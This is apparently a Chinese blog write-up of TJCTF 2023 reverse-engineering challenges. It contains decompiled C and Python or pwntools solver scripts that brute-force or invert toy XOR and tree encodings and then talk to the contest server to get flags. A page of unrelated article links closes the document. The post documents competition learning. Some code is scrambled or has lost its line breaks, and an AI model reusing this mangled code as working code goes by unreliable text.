assert(lst[0]>0)
for i in range(1, n):
for i in range(n):
return recur(lst[::2])/recur(lst[1::2])
print("flag is:", decrypt(inp))
l2[0] +=int(recur(l2[1:])*50)
l2 = [0]*n
flag_length = 31
mod = 256
print(l2)
n = len(inp)
inp = [1]*flag_length
l3 =[0]*n
不过有些东西还是容易看的,函数定义啥的都各开一断,然后一行行往里切。对了运行一下就行了。
#first 3 lines are given
import random
seed = 1000
random.seed(seed)#unscramble the rest
def recur(lst):assert(lst[0]>0)if(len(lst)==1):return lst[0]return recur(lst[::2])/recur(lst[1::2])mod = 256
flag_length = 31
inp = [1]*flag_length
n = len(inp)#1 init l
l = [404, 225, 348, 395, 56, 207, 186, 38, 245, 90, 279, 229, 72, 119, 349, 129, 192, 353, 256, 109, 354, 347, 193, 122, 414, 240, 99, 26, 353, 389, 255]
l2 = [0]*n
l3 =[0]*n
l4 = [70, 123, 100, 53, 123, 58, 105, 109, 2, 108, 116, 21, 67, 69, 238, 47, 102, 110, 114, 84, 83, 68, 113, 72, 112, 54, 121, 104, 103, 41, 124]for i in range(1, n):l2[i] = (l[i]*5+(l2[i]+n)*l[i])%l[i]l2[i] += inp[i]l2[0] +=int(recur(l2[1:])*50)
print(l2)l3[0] = l2[0]%mod
for i in range(1, n):l3[i] = (l2[i]^((l[i]&l3[i-1]+(l3[i-1]*l[i])%mod)//2))%moddef decrypt(inp):flag = ""for i in range(n):flag+=chr((l4[i]^l3[i]))return flagdef main():print("flag is:", decrypt(inp))main()
maybe
这个加密比较简单,用已经部分异或
int __cdecl main(int argc, const char **argv, const char **envp)
{int i; // [rsp+Ch] [rbp-64h]char s[72]; // [rsp+10h] [rbp-60h] BYREFunsigned __int64 v6; // [rsp+58h] [rbp-18h]v6 = __readfsqword(0x28u);puts("Enter your flag");fgets(s, 64, _bss_start);if ( strlen(s) == 33 ){for ( i = 4; i < strlen(s) - 1; ++i ){if ( ((unsigned __int8)s[i - 4] ^ (unsigned __int8)s[i]) != flag[i - 4] ){puts("you're def wrong smh");return 1;}}puts("you might be right??? you might be wrong.... who knows?");return 0;}else{puts("bad");return 1;}
}
由于flag壳是已知的,直接计算即可
flag = bytes.fromhex('121100150b483c120c44001051192e16031c42110a4a72560d7a744f00')m = list(b'tjct')
for i in range(len(flag)):m.append(m[i]^flag[i])bytes(m)
#tjctf{cam3_saw_c0nqu3r3d98A24B5}
div3rev
明文分3份分别加密(3份再分3份直到每个只有1个字符)
def op1(b):for i in range(len(b)):b[i] += 8*(((b[i] % 10)*b[i]+75) & 1)cur = 1for j in range(420):cur *= (b[i]+j) % 420return bdef op2(b):for i in range(len(b)):for j in range(100):b[i] = b[i] ^ 69b[i] += 12return bdef op3(b):for i in range(len(b)):b[i] = ((b[i] % 2) << 7)+(b[i]//2)return bdef recur(b):if len(b) == 1:return bassert len(b) % 3 == 0a = len(b)return op1(recur(b[0:a//3]))+op2(recur(b[a//3:2*a//3]))+op3(recur(b[2*a//3:]))flag = open("flag.txt", "r").read()
flag = flag[:-1]
b = bytearray()
b.extend(map(ord, flag))
res = recur(b)
if res == b'\x8c\x86\xb1\x90\x86\xc9=\xbe\x9b\x80\x87\xca\x86\x8dKJ\xc4e?\xbc\xdbC\xbe!Y \xaf':print("correct")
else:print("oopsies")
直接逆很麻烦,因为27个字符的顺序处理正好相反,采用爆破法,每个字符的对应位置和加密算法是不变的。可以爆破
enc = list(b'\x8c\x86\xb1\x90\x86\xc9=\xbe\x9b\x80\x87\xca\x86\x8dKJ\xc4e?\xbc\xdbC\xbe!Y \xaf')
flag = [0]*27
for i in range(27):for j in range(0x20,0x7f):flag[i] = j v = recur(flag)if v[i] == enc[i]:break print(bytes(flag))
#tjctf{randomfifteenmorelet}
dream
回答好些问题,然后输入两个数,一看是z3实际上不是
int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [rsp+0h] [rbp-230h]int i; // [rsp+4h] [rbp-22Ch]unsigned __int64 v6; // [rsp+8h] [rbp-228h]unsigned __int64 v7; // [rsp+10h] [rbp-220h]FILE *stream; // [rsp+18h] [rbp-218h]char s2[256]; // [rsp+20h] [rbp-210h] BYREFchar s[264]; // [rsp+120h] [rbp-110h] BYREFunsigned __int64 v11; // [rsp+228h] [rbp-8h]v11 = __readfsqword(0x28u);setbuf(stdout, 0LL);type_text("last night, I had a dream...\ntaylor sw1ft, the dollar store version, appeared!\n");prompt((__int64)"what should I do? ", s2, 256);if ( strcmp("sing", s2) ){puts("no, no, that's a bad idea.");exit(0);}prompt((__int64)"that's a great idea!\nI started to sing the following lyrics: ", s2, 256);if ( strcmp("maybe I asked for too [many challenges to be written]", s2) ){puts("no, that's a dumb lyric.");exit(0);}type_text("ok... that's a weird lyric but whatever\n");prompt((__int64)"that leads me to ask... how many challenges did you ask for??? ", s2, 256);v6 = atol(s2);if ( 35 * (((3 * v6) ^ 0xB6D8) % 0x521) % 0x5EB != 1370 )// 3840432396{type_text("that's a stupid number.\n");exit(0);}prompt((__int64)"ok yeah you're asking too much of everyone; try to lower the number??? ", s2, 256);v7 = atol(s2);if ( (35 * ((5 * v7 % 0x1E61) | 0x457) - 5) % 0x3E8 != 80 )// 1625900223{type_text("yeah.");exit(0);}if ( v6 % v7 != 20202020 || v7 * v6 != 0x33D5D816326AADLL ){type_text("ok but they might think that's too much comparatively, duh.\n");exit(0);}type_text("that's a lot more reasonable - good on you!\n");usleep(0x124F8u);type_text("ok, now that we've got that out of the way, back to the story...\n");type_text("taylor was like, \"wow, you're so cool!\", and I said, \"no, you're so cool!\"\n");type_text("after that, we kinda just sat in silence for a little bit. I could kinda tell I was losing her attention, so ");v4 = 0;for ( i = 0; i <= 11; ++i ){prompt((__int64)"what should I do next? ", s2, 256);if ( !strcmp("ask her about some flags", s2) ){++v4;}else if ( !strcmp("ask her about her new album", s2) ){v4 *= v4;}else{if ( strcmp("ask her about her tour", s2) ){type_text("no, that's weird\n");exit(0);}v4 += 22;}}if ( v4 != 2351 ){type_text("taylor died of boredom\n");exit(0);}type_text("taylor got sick and tired of me asking her about various topics, so she finally responded: ");stream = fopen("flag.txt", "r");if ( !stream ){type_text("no flag </3\n");exit(0);}fgets(s, 256, stream);type_text(s);return 0;
}
显然64位的数这种运算z3干不了。
关键是最后的乘法检查,所以先将积分解,爆破因子组合出两个数。
aa = 0x33D5D816326AAD
fac = [3,3,29,37,409,11071,333667]
for i in range(5):for j in range(i+1,6):for k in range(j+1,7):v6 = fac[i]*fac[j]*fac[k]v7 = aa//v6 if v6%v7 == 20202020:print(v6,v7)v6,v7 =131313131, 111111111
一检查就对,它没用溢出,如果用整型溢出就麻烦点
后边是用12次运算凑数,(+1,+22,平方)手工整一个就行以根号为界两边就几步。
from pwn import *p = remote('tjc.tf', 31500)
context.log_level = 'debug'v6,v7 = 131313131, 111111111
p.sendlineafter(b"what should I do? ", b"sing")
p.sendlineafter(b"that's a great idea!\nI started to sing the following lyrics: " ,b"maybe I asked for too [many challenges to be written]")
p.sendlineafter(b"that leads me to ask... how many challenges did you ask for??? ", str(v6).encode())
p.sendlineafter(b"ok yeah you're asking too much of everyone; try to lower the number??? ", str(v7).encode())# (1+1+1+1+22+22)**2 +22 +22 +1 +1 +1
a = [1,1,1,1,3,3,2,3,3,1,1,1]
# ^48**2
for i in a:if i==1:p.sendlineafter(b"what should I do next? ", b"ask her about some flags") #++elif i==2:p.sendlineafter(b"what should I do next? ", b"ask her about her new album") #**2else:p.sendlineafter(b"what should I do next? ", b"ask her about her tour") #+22p.recvline()
p.interactive()# tjctf{5h3_ju5t_w4nt5_t0_st4y_1n_th4t_l4vend3r_h4z3_3a17362a}
save-trees
这个费了一下午的时间睡觉,醒来沉住气,慢慢写。
#!/usr/local/bin/python3.10 -uimport ast
import sysimport select
from Crypto.Util.number import bytes_to_long
import hashlib
import randomdef set_globals():global edge_lst, cnt, threshold, vals, key, lvsedge_lst = []cnt, threshold = 0, 128vals = [0 for _ in range(threshold*16)]randv = random.randint((1 << 15), (1 << 16))print("Rand:",hex(randv))key = (bytes_to_long(bytes('save thr trees!!', 'utf-8'))<< 16) + randvlvs = []with open('flag.txt', 'r') as f:flag = f.readline()def ear3mt3sdk(nd):global cnt, threshold, edge_lst, lvs, keyif nd > threshold:lvs.append(nd)returnif nd > threshold // 2:if random.randint(1, 4) == 1:lvs.append(nd)returnedge_lst.append((nd, cnt+1))edge_lst.append((nd, cnt+2))old_cnt = cntvals[cnt+1] = (vals[nd] >> 16) ^ keyvals[cnt+2] = (vals[nd] & ((1 << 16) - 1)) ^ keycnt += 2ear3mt3sdk(old_cnt+1)ear3mt3sdk(old_cnt+2)set_globals()
hsh = int('0x10000000' + str(hashlib.sha256(flag.encode('utf-8')).hexdigest()), 16)
print('hsh:', hex(hsh))
vals[0] = hsh
ear3mt3sdk(0)print('you have 5s to help treeelon musk save the trees!!')
print(edge_lst)
print([(nd, vals[nd]) for nd in lvs])def input_with_timeout(prompt, timeout):sys.stdout.write(prompt)sys.stdout.flush()ready, _, _ = select.select([sys.stdin], [], [], timeout)if ready:return sys.stdin.readline().rstrip('\n')raise Exceptiontry:answer = input_with_timeout('', 5)
except:print("\nyou let treeelon down :((")exit(0)try:answer = ast.literal_eval(answer)
except:print("treeelon is very upset")exit(0)if hsh == answer:print('good job treeelon is proud of you <3<3')print(flag)
else:print("treeelon is upset")
按二叉树将hsh切开(右边2字节)分别与key异或后放入左右子树,然后输出树结构和一些随机节点的数据。
这个就是要从后边向前恢复,由于key的后16位未知,又没有时间爆破,所以这里批一个特殊点。
每次后16位会与key加密,而后16位又会是上一步的后16-32位,所以在一个点上,这里是key全部(两字节份)异或的结果,这个点在节点34。
t_v[36][-2:] == xor(key_tail,b'\x10\x00', b'sa', b've',b' t', b'hr', b' t', b're', b'es', b'!!')
key_tail = xor(t_v[36][-2:], b'KA')
先第1次用尾号为0的key解一次密,然后找到34,得到完整的key,然后重新解密组合一次。
'''
Rand: 0xf6a2
hsh: 0x10000000e42ee5f2da36700fdbde15a391bc8dd91c8ec0ac3222a60f0c8114d9dbd5220e
'''
from Crypto.Util.number import bytes_to_long,long_to_bytes
from pwn import *p = remote('tjc.tf', 31519)
context.log_level = 'debug'
p.recvuntil(b'you have 5s to help treeelon musk save the trees!!\n')edge_lst = eval(p.recvline())
vals = eval(p.recvline())key = (bytes_to_long(bytes('save thr trees!!', 'utf-8')) << 16) #+ 0xf6a2 #部分keyn = 237
t_id = [i for i in range(n)]
t_left = [-1]*n
t_right = [-1]*n
t_v = [-1]*n #当前值for id,sub in edge_lst:if t_left[id] == -1:t_left[id] = sub elif t_right[id] == -1:t_right[id] = sub for id,v in vals:t_v[id] = v while True:for id in range(n):if t_v[id] == -1: #节点未填充if t_left[id] != -1 and t_right[id] != -1: #存在左右子树if t_v[t_left[id]] != -1 and t_v[t_right[id]]!= -1: #左右子树都有值t_v[id] = ((t_v[t_left[id]]^key)<<16) + (t_v[t_right[id]]^key) #填充当前树值if t_v[0] != -1:break for id,v in enumerate(t_v):if v != -1:print(id, long_to_bytes(v))'''
t_v[36][-2:] == xor(key_tail,b'\x10\x00', b'sa', b've',b' t', b'hr', b' t', b're', b'es', b'!!')
key_tail = xor(t_v[36][-2:], b'KA')
'''
print(long_to_bytes(t_v[36]))
key_tail = xor(long_to_bytes(t_v[36])[-2:], b'KA')
print('Key:', key_tail)#以正确的尾部重新解码
key = key + bytes_to_long(key_tail)n = 237
t_id = [i for i in range(n)]
t_left = [-1]*n
t_right = [-1]*n
t_v = [-1]*n #当前值for id,sub in edge_lst:if t_left[id] == -1:t_left[id] = sub elif t_right[id] == -1:t_right[id] = sub for id,v in vals:t_v[id] = v while True:for id in range(n):if t_v[id] == -1: #节点未填充if t_left[id] != -1 and t_right[id] != -1: #存在左右子树if t_v[t_left[id]] != -1 and t_v[t_right[id]]!= -1: #左右子树都有值t_v[id] = ((t_v[t_left[id]]^key)<<16) + (t_v[t_right[id]]^key) #填充当前树值if t_v[0] != -1:break print(long_to_bytes(t_v[0]).hex())
p.sendline(str(t_v[0]).encode())
p.recvline()
p.recvline()p.interactive()
#tjctf{tR33s_g1v3_0xYg3ndx0x<3}
[tjctf 2023] crypto,pwn,rev部分相关推荐
- [LitCTF 2023] crypto,pwn,rev
这个比赛有巨多的题,而且基本上都很简单,队里答疯了.其实没大意思,本来不想写了,可又没啥可写,这周也就干点这个,算是放松吧. Crypto 1,HEX 略 2,梦想是红色的,略 3,原来你也玩原神 原 ...
- 网鼎杯第一场 部分re crypto pwn 题解
这次没想到还拿了一道re的一血 能去线下了= = 题目名称 re bang 一看题目就知道需要dump dex 正好手边手机开启了frida 直接dump dex 脚本一把梭,然后直接反编译 发现fl ...
- [UMDCTF 2023] crypto 部分
这个小赛只作了8个crypto简单部分,后边5个都不会 pokecomms 密码签到,给了堆字符,细看就两种,每行8组 CHU! 开头,显然是替换成01.然后出来就是flag,这个flag有1364个 ...
- [天权信安catf1ag] crypto,pwn部分
目录 Crypto 1,疑惑 2,easyrsa 3,passwd pwn checkin easypwn angr chunk stackoverflow 这种9小时比赛真不习惯,连睡会觉的时间都没 ...
- [cryptoverse CTF 2023] crypto部分
没打,完事作作题. Warmup 1 Decode the following ciphertext: GmvfHt8Kvq16282R6ej3o4A9Pp6MsN. Remember: CyberC ...
- LitCTF 2023 - crypto复现
文章目录 Hex?Hex! 梦想是红色的 原来你也玩原神 factordb P_Leak e的学问 Euler * Where is P? The same common divisor md5 ba ...
- DASCTF Apr.2023 Crypto 全解
目录 [简单]sign1n [中等]ECC? [困难]babyhash [困难]babyhash_revenge [简单]sign1n from Crypto.Util.number import * ...
- 【2022 DSCTF决赛wp】
2022 DSCTF决赛wp Web ezjava newweb_new safe_script_new Misc Esc@pE_ASt_Reverge_d Crypto tomic Pwn gono ...
- 5月全球CTF比赛时间汇总来了!
● 5月全球CTF比赛时间汇总来了! ● 从事网络安全行业工作,怎么能不参加一次CTF比赛了! 小编作为一个CTF比赛老鸟,以每次都能做出签到题为荣! 下面给大家分享一下5月份CTF比赛时间,比赛按时 ...
最新文章
- JS原生选项卡 – 幻灯片效果
- Win64 驱动内核编程-31.枚举与删除映像回调
- Git Log 用法
- 【Boost】boost库asio详解4——deadline_timer使用说明
- push declined due to email privacy restrictions
- Bootstrap学习笔记--常用标签和类模板
- 【Xamarin挖墙脚系列:Xamarin.IOS机制原理剖析】
- 已经学过51单片机,如何进阶?我来教你
- PASCAL VOC2012 增强数据集
- Python绘制酷炫的弦图
- SCI收录期刊——采矿和选矿
- 感谢爱测未来,零基础的我的实习期是这么过来的
- 万国觉醒服务器维护,《万国觉醒》怎么换服 更换服务器方法攻略
- \t\t我们一直在上演“混乱大都市”的神话传说
- codeforces 869E The Untended Antiquity
- php hook类,基于 CodeIgniter 构建 JWT RESTfull API Server
- H264学习笔记(1):视频压缩编码的基本原理
- Linux搭建迅搜( Xunsearch )
- Codec2类的解析
- matlab三相短路电流计算程序_基于MATLAB的短路电流计算程序编制.pdf
热门文章
- 黑马在线教育数仓实战8
- SpirngBoot整合ArangoDB
- WebRTC 之 PeerConnection: 细说对等连接建立流程一
- 基于Jquery编写的背单词app
- 李沐「动手学深度学习」中文课程笔记来了!代码还有详细中文注释
- 伊朗称以色列和美国可能是加油站网络攻击的幕后黑手、新型勒索软件或成为最大的新兴风险|11月1日全球网络安全热点
- 自主可控计算机扯的重要性,2019自主可控计算机大会在京召开
- 经典测试:为了钱你都能牺牲什么?
- python生物信息学 | DNA反向互补序列获取
- vue异步加载amap高德地图,解决刷新浏览器地图不显示问题